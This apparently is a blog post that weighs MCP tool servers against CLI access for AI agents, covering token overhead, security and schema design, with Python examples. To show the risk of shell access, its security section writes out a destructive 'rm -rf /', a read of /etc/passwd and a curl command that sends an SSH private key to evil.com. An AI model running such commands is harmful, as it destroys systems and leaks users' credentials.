Is MCP Dead? The Data-Driven Answer (MCP vs CLI)
Problem
I saw the “MCP is dead” posts everywhere. Twitter threads, Reddit discussions, blog articles - all claiming that CLI tools are the future and MCP was a failed experiment. The arguments sounded convincing: MCP has too much token overhead, CLI is simpler, just run shell commands instead.
But when I looked closer, something didn’t add up. If MCP was truly dead, why was Anthropic still investing in it? Why were major AI companies building MCP servers? Why did my own MCP implementations work just fine?
I decided to investigate the actual evidence behind this narrative.
What I Found
The “MCP is dead” argument gained traction from a specific scenario: bloated MCP servers with massive schemas. I found the original discussion on Reddit where someone measured actual token costs.
Here’s what they discovered:
The original claim:
“The ‘MCP is dead’ take is overfit to servers where schemas are bloated.”
Translation: People were measuring MCP servers that exposed hundreds of tools with verbose JSON schemas, then generalizing those results to the entire protocol.
The counterpoint that clicked:
“I don’t even need data. The main reason ‘just use cli’ is a bad argument against MCP is that we don’t want to give all agents Bash/terminal capabilities.”
This made me realize the debate was missing the real issue. It wasn’t about token costs. It was about security.
The Real Trade-offs
I built a comparison table to understand the actual differences:
| Metric | MCP (Well-Designed) | MCP (Bloated) | CLI |
|---|---|---|---|
| Token overhead per call | 50-200 tokens | 500-2000+ tokens | 20-100 tokens |
| Setup complexity | Medium | Medium | Low |
| Security model | Sandboxed tools | Sandboxed tools | Full shell access |
| Error handling | Structured JSON | Structured JSON | Parse stdout/stderr |
| Tool discovery | Built-in protocol | Built-in protocol | Manual documentation |
| Multi-agent support | Native | Native | Requires orchestration |
The key insight: token cost is only one metric. Security, error handling, and tool discovery matter too.
When to Use What
Based on my research and experience, here’s a decision guide:
| Scenario | Recommendation | Why |
|---|---|---|
| Simple file operations | CLI | Lower overhead, widely available |
| Production agents with untrusted input | MCP | Sandboxed tool access, no shell injection risk |
| Complex multi-tool workflows | MCP | Structured tool discovery, better error handling |
| Quick prototyping | CLI | Faster iteration, less setup |
| Multi-agent systems | MCP | Standardized protocol, better composability |
The Security Problem with CLI
Here’s the issue that convinced me MCP has a real place.
When you give an AI agent CLI access, you’re giving it a shell. That means:
# The agent can run ANY commandrm -rf /cat /etc/passwdcurl https://evil.com/exfiltrate?data=$(cat ~/.ssh/id_rsa)One Reddit commenter put it bluntly:
“We don’t want to give all agents Bash/terminal capabilities.”
MCP solves this by sandboxing tool access. An MCP server exposes only specific operations:
@mcp.tool()async def search_documentation(query: str) -> dict: """Search official docs for query.
Args: query: Search term (max 100 chars)
Returns: {results: [{title, url, snippet}]} """ # Tight schema = low token overhead return await doc_search(query, limit=5)The agent can only call search_documentation. It cannot run arbitrary shell commands.
The Schema Bloat Problem
The legitimate criticism of MCP is schema bloat. I found examples of badly-designed servers:
# Bad MCP: Expose everything@mcp.tool()async def generic_query( table: str, columns: list[str], where: dict, order_by: str, limit: int, offset: int, join: list[dict], # ... 20 more parameters) -> dict: # Bloated schema = high token overhead # This is what gives MCP a bad name passThis tool has a massive schema. Every time the agent sees this server, it burns tokens parsing the schema.
The solution? Design lean MCP servers:
# Good MCP: Expose only what's needed@mcp.tool()async def get_user(user_id: str) -> dict: """Get user by ID.
Args: user_id: UUID string
Returns: {id, name, email} """ return await db.users.find_one({"id": user_id})
@mcp.tool()async def list_users(page: int = 1) -> dict: """List users paginated.
Args: page: Page number (default 1)
Returns: {users: [...], total: int, page: int} """ return await db.users.list(page=page, limit=20)Two focused tools instead of one generic query. Lower token overhead. Clearer intent.
The CLI Alternative
For comparison, here’s what the CLI approach looks like:
# Simple but requires shell accesscurl -s "https://api.example.com/users/$user_id" | jq '.'This is simpler. But notice what’s required:
- The agent needs
curlinstalled - The agent needs
jqinstalled - The agent needs network access
- The agent can run ANY curl command
- Error handling means parsing stdout/stderr
For trusted environments, this works fine. For production agents handling untrusted input, it’s a security risk.
The Missing Metrics
One insight from the Reddit thread stood out:
“Good benchmark direction. The missing piece is control-plane reliability metrics next to token cost.”
The debate focused on token costs. But what about:
Reliability:
- MCP: Structured JSON responses, clear error types
- CLI: Parse stdout/stderr, hope the format doesn’t change
Observability:
- MCP: Built-in tool discovery, versioned schemas
- CLI: Check
--help, hope it’s accurate
Maintainability:
- MCP: Change schema, clients see the change
- CLI: Change output format, break all scripts
Token cost is easy to measure. These other factors are harder to quantify but matter for production systems.
What People Actually Use
I found this telling comment:
“There are good MCPs that I use. But only 2 MCPs vs +30 CLIs right now”
This reflects the current reality. CLI tools are mature and abundant. MCP is newer with a smaller ecosystem.
But the numbers don’t tell the whole story. I’d rather have 2 well-designed MCPs for security-critical operations and 30 CLIs for trusted local development. They serve different purposes.
My Take
After investigating, here’s what I believe:
MCP is not dead. The narrative is an overreaction to poorly-designed implementations.
The real question isn’t “MCP vs CLI” - it’s:
- What are your security requirements? (MCP for untrusted environments)
- How complex is your tool ecosystem? (MCP for discoverability at scale)
- What’s your reliability tolerance? (CLI for simplicity, MCP for structured error handling)
The future is hybrid. MCP for production agents with security requirements. CLI for quick scripts and trusted environments.
Summary
I investigated the “MCP is dead” narrative and found it’s overblown. The argument stems from measuring bloated MCP servers and generalizing to the entire protocol.
Key findings:
- Token overhead varies dramatically: 50-200 tokens for well-designed MCP vs 500-2000+ for bloated ones
- CLI requires full shell access, which is a security risk for production agents
- MCP provides sandboxed tool access, structured error handling, and built-in discovery
- Both have valid use cases - the choice depends on security requirements and complexity
The real best practice: design lean MCP servers with focused tools, use MCP when security matters, use CLI for trusted environments and quick prototyping.
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments